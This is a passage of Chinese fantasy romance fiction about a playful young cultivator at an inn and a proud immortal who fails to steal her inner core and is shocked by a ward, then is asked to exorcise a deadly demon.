掌柜的跟小二对视一样,皆看到对方眼中的莫名其妙,但毕竟是上房的客人,不好得罪,依着他的话没有关门。 掌柜回去休息,小二则守在门前看着,哈欠连天。 又过半柱香,外面传来女子轻哼曲调声。 还未见人,影子先拉长映入客栈门槛。 素白如雪的长裙晃荡,余枫脚步轻快地踏上台阶,探头探脑朝里望,见客栈门庭大开,灯烛通明,讶异扬眉,快步而入。 步伐声惊醒小二,余枫上前轻拍他肩膀,“辛苦,今日多谢留门啦。” 小二两眼惺忪迷茫,手中被塞了一锭冰凉的碎银子。 回头看余枫上了楼,迷迷糊糊欲关门,忽地想起要看风景的那位古怪客人。 再抬头,二楼栏杆处哪儿还有那少年的影子,遂心安理得关门歇息去了。 余枫转到房门前正要推门而入,身后却吱嘎一声,有人开了门。 “这位姑娘,夜色已深,大家老早都歇了,你这个时辰回来走动,会吵着大家休息。” 余枫回头,见穿着靛蓝袍子的少年双臂环胸随意斜倚在门前看她,腰间的金玉带十分惹眼,回道,“成,我记下了,若日后我回来的晚,夜里便先不回来,以免打扰你们休息。” “你……”敖风气结,环在胸前的双手紧了紧,好半晌憋出口气,“罢了,回来晚便也回来,省的你一个小姑娘在外面出了事,赖在本座头上。” 余枫看着他,忽而笑开。 敖风皱眉问:“你笑什么?” “我笑小乞丐你人还不错,那夜没白帮你。” 敖风挑眉:“本座不是小乞丐。” “还装?一口一个‘本座’,早上豆汁摊我便认出你来了。” 晨时那一口豆汁下肚的窘相立刻跃入脑海,敖风白净的面皮微微发红,却是哼一声,“不知道你在说什么。” 余枫也不戳穿他,踱步到他面前,肩膀轻撞了下他,“那碗羊肉面味道如何?若是味道好,我明日去吃。” 敖风别过脸,“没吃,不知道。” “没吃?!真是浪费。” 敖风轻哼,“浪费便浪费,多少银钱,本座给你就是。” “一两金。”余枫不假思索伸出手。 “一两金?!什么羊肉这般值钱?” “不知什么羊肉,但是在我这里值一两金。” 余枫手指灵活晃动,凑他更近,“嗯?莫不是反悔不想给?” “笑话!本座最不缺的就是金银财宝。” 敖风伸手入怀,随意摸出一锭金子。 金子明灿,被墙头烛火一照,更加耀眼夺目。 五指攥着那金子紧了又紧,许久方才别过脸,忍痛割爱似的递到余枫面前,嗤声道,“给你。” 余枫十分自然地接过收入纳戒之中,转身欲回屋,余光瞥见窗口风漫入,将敖风凌乱发丝吹开几分,烛光照的清明。 余枫脚下一转,忽而凑近他。 柑橘香气扑面而来,仿佛幻化为无形的手,将敖风心脏瞬间攥紧。 他呼吸跟着一滞,“你做什么?” 余枫看了个清楚,直起腰身笑吟吟回道,“小乞丐生的还挺俊俏。” 敖风紧绷着脸,退后一步面无表情将门砰的关上。 余枫在门外打趣嘀咕,“夸你一句怎么还害羞了?” 打了个哈欠,紧接着吱嘎一声,她开门回了房。 敖风站在门后轻哼一声,大步朝床榻踱去,“本座自然天人之姿,天下皆知,本座有什么好害羞的。” 躺在床上枕着双臂,清冷月光从雕花窗前渗入,透过纱帐,照着床上人发粉的耳尖。 月色又往西头斜了斜,床榻上翻来覆去睡不着的敖风蓦地坐直起身。 “内丹。” 他来这客栈,没有其他目的,只是为了内丹逼出体内异物恢复灵力,然后返回天地仙府而已。 当下翻身而起,悄无声息打开门,踱到余枫门前。 余枫在恒心殿时,有他设下的阵法防护,夜里就寝也不紧闭大门,谁若有心潜入她的屋子,简直轻而易举。 眼下她孤身在人间,又没有多少经验,想来要潜入进去,还是十分容易的。 等取内丹一用,他当即便走。 主意打定,敖风抬手触上门框,一丝灵力还未使出,忽觉手臂传来剧烈麻痹痛感,当下要抽回手,掌心却似被门框吸住动弹不得。 丝丝缕缕的雷电如小蛇,疯狂啃咬他手臂,在他四肢百骸飞速游走,直至砰的声,将他震飞到自己屋内。 身上麻痹,无一处不痛。 敖风撑着身子坐起,看着被灼黑的掌心,幽幽抬眸望着对面紧闭房门。 “雷电石,本座送的……” 没成想,有朝一日,竟会被自己送的东西暗算。 也没料到,才到人间不过两日,余枫心眼竟成倍增加,今日内丹是取不了了,只能明日另做打算。 对面屋内,余枫已然睡熟,听到闷响动静,睁开惺忪睡眼打量了下四周,不见异样,又沉沉睡了过去。 翌日。 外头叫卖声与日头同时升起,余枫起床洗漱一番出门,正琢磨今日吃什么好,开门瞬间跟对门那位穿着靛蓝袍子的少年撞了个正着。 “哟,早上好。” “不好。”敖风脸色不大好,先行往楼下走。 余枫行在他身后,“大清早的如何不好?你的头发怎么了?” 敖风只是闷头下楼,一言不发。 余枫也不恼,跟在他身后,出了客栈门,就直奔美食街。 吃了两日胡辣汤油炸馃子,今日合该换个口味。 街头美食看的眼花缭乱之际,羊肉面摊主朝她笑道,“小姑娘,不知吃 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这闹哄哄的架势,将左右路人惊得连连后退,压低声音窃窃私语。 那头敖风才在不远处寻了处小吃摊坐定,回头望余枫方向,就见这架势,眉心敛起,起身要上前,忽地又似是想起什么,脚步微顿,转而跃上屋脊,坐在高处,地面情景尽数收入眼底。 余枫仍旧气定神闲地坐着,捞起一筷子面,吹去热气往口中送,看着领头的人快步而来停在她面前,不见分毫惊慌。 “我吃饭可没有被人围观的习惯,能带着你的人让开吗?” 领头的中年男子却是不离开,转身冲着身后人使了个眼神,那身后人提步上前将余枫仔细辨认一番,而后大喜,拱手就拜。 “姑娘可还记得我?” 余枫嗦着面抬眼看来人,是有几分面熟,但却记不大清,眉心越皱越紧,十分为难。 那人冲着余枫又是一礼,“前几日姑娘才与同门帮我府上除了妖邪……” 余枫恍然大悟,“原来是那府上的人啊,寻我什么事?又闹妖邪了不成?” 那人又是拱手一礼,这回连带着身旁那领头人也是恭恭敬敬一礼。 “我府上得姑娘出手,已然太平,只是吴府……听闻姑娘昨日去了吴府要出手相助,却被不长眼的给轰走了,吴府人上门寻我求助,我听得他们一番描述,才知晓是姑娘你,便随他们全城寻找姑娘,可算将姑娘找到了。” 余枫喝了口汤,放下碗看对面人,“哦?可是想让我去吴府上门祛除妖邪?” “正是。” “不是有那道士吗?” “道士……已经死了。” 此话一出,左右听到的人皆是一阵唏嘘。 “那道士道法高明,没成想竟死于妖邪之手,看来这妖邪非同小可啊!” “完了,那妖邪先从吴府下手,若吴府人降它不住,岂不是要流窜全城?!” 恐慌情绪如同毒草在人群中疯狂蔓延,余枫捏着帕子擦拭嘴角,起身轻描淡写回道,“好,我去。” 话音将落,身侧风响,手腕被人紧紧攥住扣住。 余枫回头,对上少年蕴着薄怒的黑眸。